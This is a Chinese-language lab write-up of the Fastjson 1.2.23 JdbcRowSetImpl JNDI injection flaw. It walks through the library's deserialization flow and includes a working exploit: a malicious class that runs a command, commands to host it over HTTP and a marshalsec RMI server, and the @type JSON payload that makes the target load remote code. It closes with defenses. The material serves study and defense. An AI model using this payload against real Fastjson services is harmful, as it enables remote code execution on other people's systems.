利用JdbcRowSetImpl链对Fastjson1.2.23Jndi注入
字数 1226 2025-08-11 23:05:55

Fastjson 1.2.23 JdbcRowSetImpl链JNDI注入漏洞分析

1. Fastjson简介

Fastjson是阿里巴巴开发的高性能JSON库,主要特点:

  • 快速:号称比任何基于Java的解析器更快
  • 强大:支持普通JDK类、Java Bean、Collection、Map、Date等
  • 零依赖:仅依赖JDK

2. 实验环境搭建

所需组件

  • Fastjson 1.2.23
  • JDK 1.8.151或更低版本(漏洞利用需要JDK 6u132/7u122/8u113之前版本)

环境配置

  1. 在pom.xml中添加依赖:
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.23</version>
    </dependency>
</dependencies>

3. Fastjson基础使用

示例User类

public class User {
    private String name;
    private int age;
    
    // 构造方法
    public User() {}
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
    
    // getter和setter
    public String getName() { return name; }
    public void setName(String name) { 
        this.name = name; 
        System.out.println("setName");
        System.out.println(this.name);
    }
    
    public int getAge() { return age; }
    public void setAge(int age) { 
        this.age = age; 
        System.out.println("setAge");
        System.out.println(this.age);
    }
}

测试代码

import com.alibaba.fastjson.*;
public class test {
    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }
    
    public static void testJdbcRowSetImpl(){
        String str = "{\"@type\":\"User\",\"name\":\"cmd\"}";
        Object obj1 = JSON.parseObject(str);
    }
}

4. Fastjson反序列化流程分析

  1. 初始化解析器

    • 创建DefaultJSONParser解析器
    • 设置input、config、symbolTable和token等参数
  2. 解析过程

    • 根据token值进入相应case分支
    • 初始化JSONObject对象并存储在HashMap中
  3. 类型处理

    • 检测"@type"属性
    • 通过TypeUtils.loadClass加载指定类
    • 检查类名是否在黑名单中(仅java.lang.Thread)
  4. 反序列化器创建

    • 通过createJavaBeanDeserializer创建反序列化器
    • JavaBeanInfo.build方法收集满足条件的setter/getter方法
  5. 属性设置

    • 通过反射调用setter方法设置属性值

5. JdbcRowSetImpl链利用分析

漏洞利用条件

  • JDK版本需在6u132/7u122/8u113之前
  • 或设置以下系统属性:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

利用步骤

  1. 准备恶意类
public class Exploit {
    public Exploit() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    public static void main(String[] args) {
        new Exploit();
    }
}

编译为Exploit.class文件

  1. 启动服务
  • HTTP服务(托管恶意类):
    python -m http.server 8000
    
  • RMI服务:
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389
    
  1. 构造Payload
String str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1389/Exploit\",\"autoCommit\":false}";

漏洞触发流程

  1. Fastjson解析payload时加载JdbcRowSetImpl类
  2. 通过反射调用setDataSourceName()方法设置RMI地址
  3. 调用setAutoCommit()方法
  4. 在setAutoCommit()中触发connect()方法
  5. connect()方法调用InitialContext.lookup()触发JNDI注入
  6. 从恶意RMI服务器加载并执行Exploit类

6. 关键点总结

  1. 漏洞根源

    • Fastjson在反序列化时自动调用setter方法
    • 通过"@type"指定任意类进行实例化
    • 黑名单机制不完善
  2. 利用链关键

    • JdbcRowSetImpl的setDataSourceName和setAutoCommit方法
    • setAutoCommit触发JNDI查询
  3. 防御措施

    • 升级Fastjson到安全版本
    • 使用SafeMode防止任意类反序列化
    • 升级JDK到不受JNDI注入影响的版本

7. 参考资源

  • Fastjson官方文档
  • JNDI注入相关研究
  • Java反序列化安全最佳实践
Fastjson 1.2.23 JdbcRowSetImpl链JNDI注入漏洞分析 1. Fastjson简介 Fastjson是阿里巴巴开发的高性能JSON库,主要特点: 快速:号称比任何基于Java的解析器更快 强大:支持普通JDK类、Java Bean、Collection、Map、Date等 零依赖:仅依赖JDK 2. 实验环境搭建 所需组件 Fastjson 1.2.23 JDK 1.8.151或更低版本(漏洞利用需要JDK 6u132/7u122/8u113之前版本) 环境配置 在pom.xml中添加依赖: 3. Fastjson基础使用 示例User类 测试代码 4. Fastjson反序列化流程分析 初始化解析器 : 创建DefaultJSONParser解析器 设置input、config、symbolTable和token等参数 解析过程 : 根据token值进入相应case分支 初始化JSONObject对象并存储在HashMap中 类型处理 : 检测"@type"属性 通过TypeUtils.loadClass加载指定类 检查类名是否在黑名单中(仅java.lang.Thread) 反序列化器创建 : 通过createJavaBeanDeserializer创建反序列化器 JavaBeanInfo.build方法收集满足条件的setter/getter方法 属性设置 : 通过反射调用setter方法设置属性值 5. JdbcRowSetImpl链利用分析 漏洞利用条件 JDK版本需在6u132/7u122/8u113之前 或设置以下系统属性: 利用步骤 准备恶意类 : 编译为Exploit.class文件 启动服务 : HTTP服务(托管恶意类): RMI服务: 构造Payload : 漏洞触发流程 Fastjson解析payload时加载JdbcRowSetImpl类 通过反射调用setDataSourceName()方法设置RMI地址 调用setAutoCommit()方法 在setAutoCommit()中触发connect()方法 connect()方法调用InitialContext.lookup()触发JNDI注入 从恶意RMI服务器加载并执行Exploit类 6. 关键点总结 漏洞根源 : Fastjson在反序列化时自动调用setter方法 通过"@type"指定任意类进行实例化 黑名单机制不完善 利用链关键 : JdbcRowSetImpl的setDataSourceName和setAutoCommit方法 setAutoCommit触发JNDI查询 防御措施 : 升级Fastjson到安全版本 使用SafeMode防止任意类反序列化 升级JDK到不受JNDI注入影响的版本 7. 参考资源 Fastjson官方文档 JNDI注入相关研究 Java反序列化安全最佳实践